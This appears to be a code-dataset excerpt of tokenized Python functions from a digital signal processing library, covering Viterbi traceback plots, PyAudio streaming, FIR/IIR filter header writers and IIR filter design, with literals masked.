{"signature": "def traceback_plot(self,fsize=(<NUM_LIT:6>,<NUM_LIT:4>)):", "body": "traceback_states = self.paths.traceback_states<EOL>plt.figure(figsize=fsize)<EOL>plt.axis([-self.decision_depth+<NUM_LIT:1>, <NUM_LIT:0>, <EOL>-(self.Nstates-<NUM_LIT:1>)-<NUM_LIT:0.5>, <NUM_LIT:0.5>])<EOL>M,N = traceback_states.shape<EOL>traceback_states = -traceback_states[:,::-<NUM_LIT:1>]<EOL>plt.plot(range(-(N-<NUM_LIT:1>),<NUM_LIT:0>+<NUM_LIT:1>),traceback_states.T)<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>' % self.Nstates)<EOL>plt.grid()<EOL>", "docstring": "Plots a path of the possible last 4 states.\n\nParameters\n----------\nfsize : Plot size for matplotlib.\n\nExamples\n--------\n>>> import matplotlib.pyplot as plt\n>>> from sk_dsp_comm.fec_conv import fec_conv\n>>> from sk_dsp_comm import digitalcom as dc\n>>> import numpy as np\n>>> cc = fec_conv()\n>>> x = np.random.randint(0,2,100)\n>>> state = '00'\n>>> y,state = cc.conv_encoder(x,state)\n>>> # Add channel noise to bits translated to +1/-1\n>>> yn = dc.cpx_AWGN(2*y-1,5,1) # SNR = 5 dB\n>>> # Translate noisy +1/-1 bits to soft values on [0,7]\n>>> yn = (yn.real+1)/2*7\n>>> z = cc.viterbi_decoder(yn)\n>>> cc.traceback_plot()\n>>> plt.show()", "id": "f14897:c3:m7"}
{"signature": "def available_devices():", "body": "devices = {}<EOL>pA = pyaudio.PyAudio()<EOL>device_string = str()<EOL>for k in range(pA.get_device_count()):<EOL><INDENT>dev = pA.get_device_info_by_index(k)<EOL>devices[k] = {'<STR_LIT:name>': dev['<STR_LIT:name>'], '<STR_LIT>': dev['<STR_LIT>'], '<STR_LIT>': dev['<STR_LIT>']}<EOL>device_string += '<STR_LIT>' %(k,dev['<STR_LIT:name>'],dev['<STR_LIT>'],dev['<STR_LIT>'])<EOL><DEDENT>logger.debug(device_string)<EOL>return devices<EOL>", "docstring": "Display available input and output audio devices along with their\nport indices.\n\n:return:  Dictionary whose keys are the device index, the number of inputs and outputs, and their names.\n:rtype: dict", "id": "f14898:m0"}
{"signature": "def __init__(self, stream_callback, in_idx = <NUM_LIT:1>, out_idx = <NUM_LIT:4>, frame_length = <NUM_LIT>, <EOL>fs = <NUM_LIT>, Tcapture = <NUM_LIT:0>, sleep_time = <NUM_LIT:0.1>):", "body": "self.in_idx = in_idx<EOL>self.out_idx = out_idx<EOL>self.in_out_check()<EOL>self.frame_length = frame_length<EOL>self.fs = fs<EOL>self.sleep_time = sleep_time<EOL>self.stream_callback = stream_callback<EOL>self.p = pyaudio.PyAudio()<EOL>self.stream_data = False<EOL>self.capture_sample_count = <NUM_LIT:0><EOL>self.data_capture = list()<EOL>self.data_capture_left = list()<EOL>self.data_capture_right = list()<EOL>self.Tcapture = Tcapture<EOL>self.Ncapture = int(self.fs*self.Tcapture)<EOL>self.left_in = np.zeros(frame_length)<EOL>self.right_in = np.zeros(frame_length)<EOL>self.out = np.zeros(frame_length*<NUM_LIT:2>)<EOL>self.interactiveFG = <NUM_LIT:0><EOL>self.print_when_done = <NUM_LIT:1><EOL>self.DSP_tic = list()<EOL>self.DSP_toc = list()<EOL>", "docstring": ":param stream_callback: Function that will provide the callback functionality\n:param in_idx: Input device id\n:param out_idx: Output device id\n:param frame_length:\n:param fs: Sampling frequency\n:param Tcapture: Time to capture (seconds)\n:param sleep_time:", "id": "f14898:c0:m0"}
{"signature": "def in_out_check(self):", "body": "devices = available_devices()<EOL>if not self.in_idx in devices:<EOL><INDENT>raise OSError(\"<STR_LIT>\")<EOL><DEDENT>in_check = devices[self.in_idx]<EOL>if not self.out_idx in devices:<EOL><INDENT>raise OSError(\"<STR_LIT>\")<EOL><DEDENT>out_check = devices[self.out_idx]<EOL>if((in_check['<STR_LIT>'] == <NUM_LIT:0>) and (out_check['<STR_LIT>']==<NUM_LIT:0>)):<EOL><INDENT>raise StandardError('<STR_LIT>')<EOL><DEDENT>elif(in_check['<STR_LIT>'] == <NUM_LIT:0>):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>elif(out_check['<STR_LIT>'] == <NUM_LIT:0>):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return True<EOL>", "docstring": "Checks the input and output to see if they are valid", "id": "f14898:c0:m1"}
{"signature": "def interactive_stream(self,Tsec = <NUM_LIT:2>, numChan = <NUM_LIT:1>):", "body": "self.Tsec = Tsec<EOL>self.numChan = numChan<EOL>self.interactiveFG = <NUM_LIT:1><EOL>self.play = interactive(self.interaction,Stream = ToggleButtons(<EOL>options=['<STR_LIT>', '<STR_LIT>'],<EOL>description = '<STR_LIT:U+0020>',<EOL>value = '<STR_LIT>') )<EOL>display(self.play)<EOL>", "docstring": "Stream audio with start and stop radio buttons\n\nInteractive stream is designed for streaming audio through this object using\na callback function. This stream is threaded, so it can be used with ipywidgets.\nClick on the \"Start Streaming\" button to start streaming and click on \"Stop Streaming\"\nbutton to stop streaming.\n\nParameters\n----------\n\nTsec : stream time in seconds if Tsec > 0. If Tsec = 0, then stream goes to infinite \nmode. When in infinite mode, the \"Stop Streaming\" radio button or Tsec.stop() can be \nused to stop the stream.\n\nnumChan : number of channels. Use 1 for mono and 2 for stereo.", "id": "f14898:c0:m3"}
{"signature": "def thread_stream(self,Tsec = <NUM_LIT:2>,numChan = <NUM_LIT:1>):", "body": "def stream_thread(time,channel):<EOL><INDENT>self.stream(Tsec=time,numChan = channel)<EOL><DEDENT>t = Thread(target=stream_thread, args=(Tsec,numChan,))<EOL>t.start()<EOL>", "docstring": "Stream audio in a thread using callback. The stream is threaded, so widgets can be\nused simultaneously during stream.\n\nParameters\n----------\n\nTsec : stream time in seconds if Tsec > 0. If Tsec = 0, then stream goes to infinite \nmode. When in infinite mode, Tsec.stop() can be used to stop the stream.\n\nnumChan : number of channels. Use 1 for mono and 2 for stereo.", "id": "f14898:c0:m4"}
{"signature": "def stream(self,Tsec = <NUM_LIT:2>,numChan = <NUM_LIT:1>):", "body": "self.Tsec = Tsec<EOL>self.numChan = numChan<EOL>self.N_samples = int(self.fs*Tsec)<EOL>self.data_capture = []<EOL>self.data_capture_left = []<EOL>self.data_capture_right = []<EOL>self.capture_sample_count = <NUM_LIT:0><EOL>self.DSP_tic = []<EOL>self.DSP_toc = []<EOL>self.start_time = time.time()<EOL>self.stop_stream = False<EOL>stream = self.p.open(format=pyaudio.paInt16,<EOL>channels=numChan,<EOL>rate=self.fs,<EOL>input=True,<EOL>output=True,<EOL>input_device_index = self.in_idx,<EOL>output_device_index = self.out_idx,<EOL>frames_per_buffer = self.frame_length,<EOL>stream_callback=self.stream_callback)<EOL>stream.start_stream()<EOL>if(Tsec == <NUM_LIT:0>):<EOL><INDENT>while stream.is_active():<EOL><INDENT>if self.stop_stream:<EOL><INDENT>stream.stop_stream()<EOL><DEDENT>time.sleep(self.sleep_time)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>while stream.is_active():<EOL><INDENT>if self.capture_sample_count >= self.N_samples:<EOL><INDENT>stream.stop_stream()<EOL><DEDENT>if self.stop_stream:<EOL><INDENT>stream.stop_stream()<EOL><DEDENT>time.sleep(self.sleep_time)<EOL><DEDENT><DEDENT>stream.stop_stream()<EOL>stream.close()<EOL>self.p.terminate()<EOL>self.stream_data = True<EOL>if(self.interactiveFG):<EOL><INDENT>self.play.children[<NUM_LIT:0>].value = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>if(self.print_when_done == <NUM_LIT:1>):<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Stream audio using callback\n\nParameters\n----------\n\nTsec : stream time in seconds if Tsec > 0. If Tsec = 0, then stream goes to infinite \nmode. When in infinite mode, Tsec.stop() can be used to stop the stream.\n\nnumChan : number of channels. Use 1 for mono and 2 for stereo.", "id": "f14898:c0:m5"}
{"signature": "def stop(self):", "body": "self.stop_stream = True<EOL>", "docstring": "Call to stop streaming", "id": "f14898:c0:m6"}
{"signature": "def DSP_capture_add_samples(self,new_data):", "body": "self.capture_sample_count += len(new_data)<EOL>if self.Tcapture > <NUM_LIT:0>:<EOL><INDENT>self.data_capture = np.hstack((self.data_capture,new_data))<EOL>if (self.Tcapture > <NUM_LIT:0>) and (len(self.data_capture) > self.Ncapture):<EOL><INDENT>self.data_capture = self.data_capture[-self.Ncapture:]<EOL><DEDENT><DEDENT>", "docstring": "Append new samples to the data_capture array and increment the sample counter\nIf length reaches Tcapture, then the newest samples will be kept. If Tcapture = 0 \nthen new values are not appended to the data_capture array.", "id": "f14898:c0:m7"}
{"signature": "def DSP_capture_add_samples_stereo(self,new_data_left,new_data_right):", "body": "self.capture_sample_count = self.capture_sample_count + len(new_data_left) + len(new_data_right)<EOL>if self.Tcapture > <NUM_LIT:0>:<EOL><INDENT>self.data_capture_left = np.hstack((self.data_capture_left,new_data_left))<EOL>self.data_capture_right = np.hstack((self.data_capture_right,new_data_right))<EOL>if (len(self.data_capture_left) > self.Ncapture):<EOL><INDENT>self.data_capture_left = self.data_capture_left[-self.Ncapture:]<EOL><DEDENT>if (len(self.data_capture_right) > self.Ncapture):<EOL><INDENT>self.data_capture_right = self.data_capture_right[-self.Ncapture:]<EOL><DEDENT><DEDENT>", "docstring": "Append new samples to the data_capture_left array and the data_capture_right\narray and increment the sample counter. If length reaches Tcapture, then the \nnewest samples will be kept. If Tcapture = 0 then new values are not appended \nto the data_capture array.", "id": "f14898:c0:m8"}
{"signature": "def DSP_callback_tic(self):", "body": "if self.Tcapture > <NUM_LIT:0>:<EOL><INDENT>self.DSP_tic.append(time.time()-self.start_time)<EOL><DEDENT>", "docstring": "Add new tic time to the DSP_tic list. Will not be called if\nTcapture = 0.", "id": "f14898:c0:m9"}
{"signature": "def DSP_callback_toc(self):", "body": "if self.Tcapture > <NUM_LIT:0>:<EOL><INDENT>self.DSP_toc.append(time.time()-self.start_time)<EOL><DEDENT>", "docstring": "Add new toc time to the DSP_toc list. Will not be called if\nTcapture = 0.", "id": "f14898:c0:m10"}
{"signature": "def stream_stats(self):", "body": "Tp = self.frame_length/float(self.fs)*<NUM_LIT:1000><EOL>print('<STR_LIT>'% (self.DSP_tic[<NUM_LIT:0>]*<NUM_LIT:1000>,))<EOL>print('<STR_LIT>' % Tp)<EOL>Tmp_mean = np.mean(np.diff(np.array(self.DSP_tic))[<NUM_LIT:1>:]*<NUM_LIT:1000>)<EOL>print('<STR_LIT>' % Tmp_mean)<EOL>Tprocess_mean = np.mean(np.array(self.DSP_toc)-np.array(self.DSP_tic))*<NUM_LIT:1000><EOL>print('<STR_LIT>' % Tprocess_mean)<EOL>", "docstring": "Display basic statistics of callback execution: ideal period \nbetween callbacks, average measured period between callbacks,\nand average time spent in the callback.", "id": "f14898:c0:m11"}
{"signature": "def cb_active_plot(self,start_ms,stop_ms,line_color='<STR_LIT:b>'):", "body": "<EOL>k_min_idx = np.nonzero(np.ravel(np.array(self.DSP_tic)*<NUM_LIT:1000> < start_ms))[<NUM_LIT:0>]<EOL>if len(k_min_idx) < <NUM_LIT:1>:<EOL><INDENT>k_min = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>k_min = k_min_idx[-<NUM_LIT:1>]<EOL><DEDENT>k_max_idx = np.nonzero(np.ravel(np.array(self.DSP_tic)*<NUM_LIT:1000> > stop_ms))[<NUM_LIT:0>]<EOL>if len(k_min_idx) < <NUM_LIT:1>:<EOL><INDENT>k_max= len(self.DSP_tic)<EOL><DEDENT>else:<EOL><INDENT>k_max = k_max_idx[<NUM_LIT:0>]<EOL><DEDENT>for k in range(k_min,k_max):<EOL><INDENT>if k == <NUM_LIT:0>:<EOL><INDENT>plt.plot([<NUM_LIT:0>,self.DSP_tic[k]*<NUM_LIT:1000>,self.DSP_tic[k]*<NUM_LIT:1000>,<EOL>self.DSP_toc[k]*<NUM_LIT:1000>,self.DSP_toc[k]*<NUM_LIT:1000>],<EOL>[<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:1>,<NUM_LIT:1>,<NUM_LIT:0>],'<STR_LIT:b>')<EOL><DEDENT>else:<EOL><INDENT>plt.plot([self.DSP_toc[k-<NUM_LIT:1>]*<NUM_LIT:1000>,self.DSP_tic[k]*<NUM_LIT:1000>,self.DSP_tic[k]*<NUM_LIT:1000>,<EOL>self.DSP_toc[k]*<NUM_LIT:1000>,self.DSP_toc[k]*<NUM_LIT:1000>],[<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:1>,<NUM_LIT:1>,<NUM_LIT:0>],'<STR_LIT:b>')<EOL><DEDENT><DEDENT>plt.plot([self.DSP_toc[k_max-<NUM_LIT:1>]*<NUM_LIT:1000>,stop_ms],[<NUM_LIT:0>,<NUM_LIT:0>],'<STR_LIT:b>')<EOL>plt.xlim([start_ms,stop_ms])<EOL>plt.title(r'<STR_LIT>')<EOL>plt.ylabel(r'<STR_LIT>')<EOL>plt.xlabel(r'<STR_LIT>')<EOL>plt.grid()<EOL>", "docstring": "Plot timing information of time spent in the callback. This is similar\nto what a logic analyzer provides when probing an interrupt.\n\ncb_active_plot( start_ms,stop_ms,line_color='b')", "id": "f14898:c0:m12"}
{"signature": "def get_LR(self,in_data):", "body": "for i in range(<NUM_LIT:0>,self.frame_length*<NUM_LIT:2>):<EOL><INDENT>if i % <NUM_LIT:2>:<EOL><INDENT>self.right_in[(int)(i/<NUM_LIT:2>)] = in_data[i]<EOL><DEDENT>else:<EOL><INDENT>self.left_in[(int)(i/<NUM_LIT:2>)] = in_data[i]<EOL><DEDENT><DEDENT>return self.left_in, self.right_in<EOL>", "docstring": "Splits incoming packed stereo data into separate left and right channels\nand returns an array of left samples and an array of right samples\n\nParameters\n----------\nin_data : input data from the streaming object in the callback function. \n\nReturns\n-------\nleft_in : array of incoming left channel samples\nright_in : array of incoming right channel samples", "id": "f14898:c0:m13"}
{"signature": "def pack_LR(self,left_out,right_out):", "body": "for i in range(<NUM_LIT:0>,self.frame_length*<NUM_LIT:2>):<EOL><INDENT>if i % <NUM_LIT:2>:<EOL><INDENT>self.out[i] = right_out[(int)(i/<NUM_LIT:2>)]<EOL><DEDENT>else:<EOL><INDENT>self.out[i] = left_out[(int)(i/<NUM_LIT:2>)]<EOL><DEDENT><DEDENT>return self.out<EOL>", "docstring": "Packs separate left and right channel data into one array to output\nand returns the output.\n\nParameters\n----------\nleft_out : left channel array of samples going to output\nright_out : right channel array of samples going to output\n\nReturns\n-------\nout : packed left and right channel array of samples", "id": "f14898:c0:m14"}
{"signature": "def __init__(self,x,start_offset = <NUM_LIT:0>):", "body": "self.n_chan = x.ndim<EOL>if self.n_chan == <NUM_LIT:2>:<EOL><INDENT>if x.shape[<NUM_LIT:1>] != <NUM_LIT:2>:<EOL><INDENT>x = x.T<EOL><DEDENT><DEDENT>self.x = x<EOL>self.x_len = x.shape[<NUM_LIT:0>]<EOL>self.loop_pointer = start_offset<EOL>", "docstring": "Create a 1D or 2D array for audio looping", "id": "f14898:c1:m0"}
{"signature": "def FIR_header(fname_out, h):", "body": "M = len(h)<EOL>N = <NUM_LIT:3>  <EOL>f = open(fname_out, '<STR_LIT>')<EOL>f.write('<STR_LIT>')<EOL>f.write('<STR_LIT>')<EOL>f.write('<STR_LIT>')<EOL>f.write('<STR_LIT>' % M)<EOL>f.write('<STR_LIT>')<EOL>f.write('<STR_LIT>');<EOL>f.write('<STR_LIT>');<EOL>f.write('<STR_LIT>')<EOL>kk = <NUM_LIT:0>;<EOL>for k in range(M):<EOL><INDENT>if (kk < N - <NUM_LIT:1>) and (k < M - <NUM_LIT:1>):<EOL><INDENT>f.write('<STR_LIT>' % h[k])<EOL>kk += <NUM_LIT:1><EOL><DEDENT>elif (kk == N - <NUM_LIT:1>) & (k < M - <NUM_LIT:1>):<EOL><INDENT>f.write('<STR_LIT>' % h[k])<EOL>if k < M:<EOL><INDENT>f.write('<STR_LIT:U+0020>')<EOL>kk = <NUM_LIT:0><EOL><DEDENT><DEDENT>else:<EOL><INDENT>f.write('<STR_LIT>' % h[k])<EOL><DEDENT><DEDENT>f.write('<STR_LIT>')<EOL>f.write('<STR_LIT>')<EOL>f.close()<EOL>", "docstring": "Write FIR Filter Header Files \n\nMark Wickert February 2015", "id": "f14899:m0"}
{"signature": "def FIR_fix_header(fname_out, h):", "body": "M = len(h)<EOL>hq = int16(rint(h * <NUM_LIT:2> ** <NUM_LIT:15>))<EOL>N = <NUM_LIT:8>  <EOL>f = open(fname_out, '<STR_LIT>')<EOL>f.write('<STR_LIT>')<EOL>f.write('<STR_LIT>')<EOL>f.write('<STR_LIT>')<EOL>f.write('<STR_LIT>' % M)<EOL>f.write('<STR_LIT>')<EOL>f.write('<STR_LIT>');<EOL>f.write('<STR_LIT>');<EOL>f.write('<STR_LIT>')<EOL>kk = <NUM_LIT:0>;<EOL>for k in range(M):<EOL><INDENT>if (kk < N - <NUM_LIT:1>) and (k < M - <NUM_LIT:1>):<EOL><INDENT>f.write('<STR_LIT>' % hq[k])<EOL>kk += <NUM_LIT:1><EOL><DEDENT>elif (kk == N - <NUM_LIT:1>) & (k < M - <NUM_LIT:1>):<EOL><INDENT>f.write('<STR_LIT>' % hq[k])<EOL>if k < M:<EOL><INDENT>f.write('<STR_LIT:U+0020>')<EOL>kk = <NUM_LIT:0><EOL><DEDENT><DEDENT>else:<EOL><INDENT>f.write('<STR_LIT>' % hq[k])<EOL><DEDENT><DEDENT>f.write('<STR_LIT>')<EOL>f.write('<STR_LIT>')<EOL>f.close()<EOL>", "docstring": "Write FIR Fixed-Point Filter Header Files \n\nMark Wickert February 2015", "id": "f14899:m1"}
{"signature": "def IIR_sos_header(fname_out, SOS_mat):", "body": "Ns, Mcol = SOS_mat.shape<EOL>f = open(fname_out, '<STR_LIT>')<EOL>f.write('<STR_LIT>')<EOL>f.write('<STR_LIT>')<EOL>f.write('<STR_LIT>')<EOL>f.write('<STR_LIT>' % Ns)<EOL>f.write('<STR_LIT>')<EOL>f.write('<STR_LIT>');<EOL>f.write('<STR_LIT>');<EOL>f.write('<STR_LIT>' % (<NUM_LIT:5> * Ns))<EOL>for k in range(Ns):<EOL><INDENT>if (k < Ns - <NUM_LIT:1>):<EOL><INDENT>f.write('<STR_LIT>' %(SOS_mat[k, <NUM_LIT:0>], SOS_mat[k, <NUM_LIT:1>], SOS_mat[k, <NUM_LIT:2>]))<EOL>f.write('<STR_LIT>' %(-SOS_mat[k, <NUM_LIT:4>], -SOS_mat[k, <NUM_LIT:5>]))<EOL><DEDENT>else:<EOL><INDENT>f.write('<STR_LIT>' %(SOS_mat[k, <NUM_LIT:0>], SOS_mat[k, <NUM_LIT:1>], SOS_mat[k, <NUM_LIT:2>]))<EOL>f.write('<STR_LIT>' %(-SOS_mat[k, <NUM_LIT:4>], -SOS_mat[k, <NUM_LIT:5>]))<EOL><DEDENT><DEDENT>f.write('<STR_LIT>')<EOL>f.write('<STR_LIT>')<EOL>f.close()<EOL>", "docstring": "Write IIR SOS Header Files\nFile format is compatible with CMSIS-DSP IIR \nDirectform II Filter Functions\n\nMark Wickert March 2015-October 2016", "id": "f14899:m2"}
{"signature": "def freqz_resp_list(b, a=np.array([<NUM_LIT:1>]), mode='<STR_LIT>', fs=<NUM_LIT:1.0>, Npts=<NUM_LIT>, fsize=(<NUM_LIT:6>, <NUM_LIT:4>)):", "body": "if type(b) == list:<EOL><INDENT>N_filt = len(b)<EOL><DEDENT>f = np.arange(<NUM_LIT:0>, Npts) / (<NUM_LIT> * Npts)<EOL>for n in range(N_filt):<EOL><INDENT>w, H = signal.freqz(b[n], a[n], <NUM_LIT:2> * np.pi * f)<EOL>if n == <NUM_LIT:0>:<EOL><INDENT>plt.figure(figsize=fsize)<EOL><DEDENT>if mode.lower() == '<STR_LIT>':<EOL><INDENT>plt.plot(f * fs, <NUM_LIT:20> * np.log10(np.abs(H)))<EOL>if n == N_filt - <NUM_LIT:1>:<EOL><INDENT>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL><DEDENT><DEDENT>elif mode.lower() == '<STR_LIT>':<EOL><INDENT>plt.plot(f * fs, np.angle(H))<EOL>if n == N_filt - <NUM_LIT:1>:<EOL><INDENT>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL><DEDENT><DEDENT>elif (mode.lower() == '<STR_LIT>') or (mode.lower() == '<STR_LIT>'):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>theta = np.unwrap(np.angle(H))<EOL>theta2 = np.unwrap(<NUM_LIT:2> * theta) / <NUM_LIT><EOL>theta_dif = np.diff(theta2)<EOL>f_diff = np.diff(f)<EOL>Tg = -np.diff(theta2) / np.diff(w)<EOL>idx = pylab.find(<NUM_LIT:20> * np.log10(H[:-<NUM_LIT:1>]) < -<NUM_LIT>)<EOL>Tg[idx] = np.zeros(len(idx))<EOL>max_Tg = np.max(Tg)<EOL>if mode.lower() == '<STR_LIT>':<EOL><INDENT>max_Tg /= fs<EOL>plt.plot(f[:-<NUM_LIT:1>] * fs, Tg / fs)<EOL>plt.ylim([<NUM_LIT:0>, <NUM_LIT> * max_Tg])<EOL><DEDENT>else:<EOL><INDENT>plt.plot(f[:-<NUM_LIT:1>] * fs, Tg)<EOL>plt.ylim([<NUM_LIT:0>, <NUM_LIT> * max_Tg])<EOL><DEDENT>if n == N_filt - <NUM_LIT:1>:<EOL><INDENT>plt.xlabel('<STR_LIT>')<EOL>if mode.lower() == '<STR_LIT>':<EOL><INDENT>plt.ylabel('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.ylabel('<STR_LIT>')<EOL><DEDENT>plt.title('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>s1 = '<STR_LIT>'<EOL>s2 = '<STR_LIT>'<EOL>print(s1 + s2)<EOL><DEDENT><DEDENT>", "docstring": "A method for displaying digital filter frequency response magnitude,\nphase, and group delay. A plot is produced using matplotlib\n\nfreq_resp(self,mode = 'dB',Npts = 1024)\n\nA method for displaying the filter frequency response magnitude,\nphase, and group delay. A plot is produced using matplotlib\n\nfreqz_resp(b,a=[1],mode = 'dB',Npts = 1024,fsize=(6,4))\n\nParameters\n----------\nb : ndarray of numerator coefficients\na : ndarray of denominator coefficents\nmode : display mode: 'dB' magnitude, 'phase' in radians, or\n        'groupdelay_s' in samples and 'groupdelay_t' in sec, \n        all versus frequency in Hz\nNpts : number of points to plot; default is 1024\nfsize : figure size; defult is (6,4) inches\n\nMark Wickert, January 2015", "id": "f14899:m3"}
{"signature": "def CA_code_header(fname_out, Nca):", "body": "dir_path = os.path.dirname(os.path.realpath(__file__))<EOL>ca = loadtxt(dir_path + '<STR_LIT>', dtype=int16, usecols=(Nca - <NUM_LIT:1>,), unpack=True)<EOL>M = <NUM_LIT>  <EOL>N = <NUM_LIT>  <EOL>Sca = '<STR_LIT>' + str(Nca)<EOL>f = open(fname_out, '<STR_LIT>')<EOL>f.write('<STR_LIT>')<EOL>f.write('<STR_LIT>')<EOL>f.write('<STR_LIT>')<EOL>f.write('<STR_LIT>' % M)<EOL>f.write('<STR_LIT>')<EOL>f.write('<STR_LIT>');<EOL>f.write('<STR_LIT>'% Nca);<EOL>f.write('<STR_LIT>' % Nca)<EOL>kk = <NUM_LIT:0>;<EOL>for k in range(M):<EOL><INDENT>if (kk < N - <NUM_LIT:1>) and (k < M - <NUM_LIT:1>):<EOL><INDENT>f.write('<STR_LIT>' % ca[k])<EOL>kk += <NUM_LIT:1><EOL><DEDENT>elif (kk == N - <NUM_LIT:1>) & (k < M - <NUM_LIT:1>):<EOL><INDENT>f.write('<STR_LIT>' % ca[k])<EOL>if k < M:<EOL><INDENT>if Nca < <NUM_LIT:10>:<EOL><INDENT>f.write('<STR_LIT:U+0020>')<EOL><DEDENT>else:<EOL><INDENT>f.write('<STR_LIT:U+0020>')<EOL><DEDENT>kk = <NUM_LIT:0><EOL><DEDENT><DEDENT>else:<EOL><INDENT>f.write('<STR_LIT>' % ca[k])<EOL><DEDENT><DEDENT>f.write('<STR_LIT>')<EOL>f.write('<STR_LIT>')<EOL>f.close()<EOL>", "docstring": "Write 1023 bit CA (Gold) Code Header Files\n\nMark Wickert February 2015", "id": "f14899:m4"}
{"signature": "def IIR_lpf(f_pass, f_stop, Ripple_pass, Atten_stop, <EOL>fs = <NUM_LIT>, ftype = '<STR_LIT>'):", "body": "b,a = signal.iirdesign(<NUM_LIT:2>*float(f_pass)/fs, <NUM_LIT:2>*float(f_stop)/fs,<EOL>Ripple_pass, Atten_stop,<EOL>ftype = ftype, output='<STR_LIT>')<EOL>sos = signal.iirdesign(<NUM_LIT:2>*float(f_pass)/fs, <NUM_LIT:2>*float(f_stop)/fs,<EOL>Ripple_pass, Atten_stop,<EOL>ftype = ftype, output='<STR_LIT>')<EOL>tag = '<STR_LIT>' + ftype + '<STR_LIT>'<EOL>print('<STR_LIT>' % (tag,len(a)-<NUM_LIT:1>))<EOL>return b, a, sos<EOL>", "docstring": "Design an IIR lowpass filter using scipy.signal.iirdesign. \nThe filter order is determined based on \nf_pass Hz, f_stop Hz, and the desired stopband attenuation\nd_stop in dB, all relative to a sampling rate of fs Hz.\n\nParameters\n----------\nf_pass : Passband critical frequency in Hz\nf_stop : Stopband critical frequency in Hz\nRipple_pass : Filter gain in dB at f_pass\nAtten_stop : Filter attenuation in dB at f_stop\nfs : Sampling rate in Hz\nftype : Analog prototype from 'butter' 'cheby1', 'cheby2',\n        'ellip', and 'bessel'\n\nReturns\n-------\nb : ndarray of the numerator coefficients\na : ndarray of the denominator coefficients\nsos : 2D ndarray of second-order section coefficients\n\nNotes\n-----\nAdditionally a text string telling the user the filter order is\nwritten to the console, e.g., IIR cheby1 order = 8.\n\nExamples\n--------\n>>> fs = 48000\n>>> f_pass = 5000\n>>> f_stop = 8000\n>>> b_but,a_but,sos_but = IIR_lpf(f_pass,f_stop,0.5,60,fs,'butter')\n>>> b_cheb1,a_cheb1,sos_cheb1 = IIR_lpf(f_pass,f_stop,0.5,60,fs,'cheby1')\n>>> b_cheb2,a_cheb2,sos_cheb2 = IIR_lpf(f_pass,f_stop,0.5,60,fs,'cheby2')\n>>> b_elli,a_elli,sos_elli = IIR_lpf(f_pass,f_stop,0.5,60,fs,'ellip')\n\n\nMark Wickert October 2016", "id": "f14906:m0"}
{"signature": "def IIR_hpf(f_stop, f_pass, Ripple_pass, Atten_stop, <EOL>fs = <NUM_LIT>, ftype = '<STR_LIT>'):", "body": "b,a = signal.iirdesign(<NUM_LIT:2>*float(f_pass)/fs, <NUM_LIT:2>*float(f_stop)/fs,<EOL>Ripple_pass, Atten_stop,<EOL>ftype = ftype, output='<STR_LIT>')<EOL>sos = signal.iirdesign(<NUM_LIT:2>*float(f_pass)/fs, <NUM_LIT:2>*float(f_stop)/fs,<EOL>Ripple_pass, Atten_stop,<EOL>ftype =ftype, output='<STR_LIT>')<EOL>tag = '<STR_LIT>' + ftype + '<STR_LIT>'<EOL>print('<STR_LIT>' % (tag,len(a)-<NUM_LIT:1>))<EOL>return b, a, sos<EOL>", "docstring": "Design an IIR highpass filter using scipy.signal.iirdesign. \nThe filter order is determined based on \nf_pass Hz, f_stop Hz, and the desired stopband attenuation\nd_stop in dB, all relative to a sampling rate of fs Hz.\n\nParameters\n----------\nf_stop : \nf_pass : \nRipple_pass : \nAtten_stop : \nfs : sampling rate in Hz\nftype : Analog prototype from 'butter' 'cheby1', 'cheby2',\n        'ellip', and 'bessel'\n\nReturns\n-------\nb : ndarray of the numerator coefficients\na : ndarray of the denominator coefficients\nsos : 2D ndarray of second-order section coefficients\n\nExamples\n--------\n>>> fs = 48000\n>>> f_pass = 8000\n>>> f_stop = 5000\n>>> b_but,a_but,sos_but = IIR_hpf(f_stop,f_pass,0.5,60,fs,'butter')\n>>> b_cheb1,a_cheb1,sos_cheb1 = IIR_hpf(f_stop,f_pass,0.5,60,fs,'cheby1')\n>>> b_cheb2,a_cheb2,sos_cheb2 = IIR_hpf(f_stop,f_pass,0.5,60,fs,'cheby2')\n>>> b_elli,a_elli,sos_elli = IIR_hpf(f_stop,f_pass,0.5,60,fs,'ellip')\n\nMark Wickert October 2016", "id": "f14906:m1"}
{"signature": "def IIR_bpf(f_stop1, f_pass1, f_pass2, f_stop2, Ripple_pass, Atten_stop, <EOL>fs = <NUM_LIT>, ftype = '<STR_LIT>'):", "body": "b,a = signal.iirdesign([<NUM_LIT:2>*float(f_pass1)/fs, <NUM_LIT:2>*float(f_pass2)/fs],<EOL>[<NUM_LIT:2>*float(f_stop1)/fs, <NUM_LIT:2>*float(f_stop2)/fs],<EOL>Ripple_pass, Atten_stop,<EOL>ftype = ftype, output='<STR_LIT>')<EOL>sos = signal.iirdesign([<NUM_LIT:2>*float(f_pass1)/fs, <NUM_LIT:2>*float(f_pass2)/fs],<EOL>[<NUM_LIT:2>*float(f_stop1)/fs, <NUM_LIT:2>*float(f_stop2)/fs],<EOL>Ripple_pass, Atten_stop,<EOL>ftype =ftype, output='<STR_LIT>')<EOL>tag = '<STR_LIT>' + ftype + '<STR_LIT>'<EOL>print('<STR_LIT>' % (tag,len(a)-<NUM_LIT:1>))<EOL>return b, a, sos<EOL>", "docstring": "Design an IIR bandpass filter using scipy.signal.iirdesign. \nThe filter order is determined based on \nf_pass Hz, f_stop Hz, and the desired stopband attenuation\nd_stop in dB, all relative to a sampling rate of fs Hz.\n\nParameters\n----------\nf_stop1 : ndarray of the numerator coefficients\nf_pass : 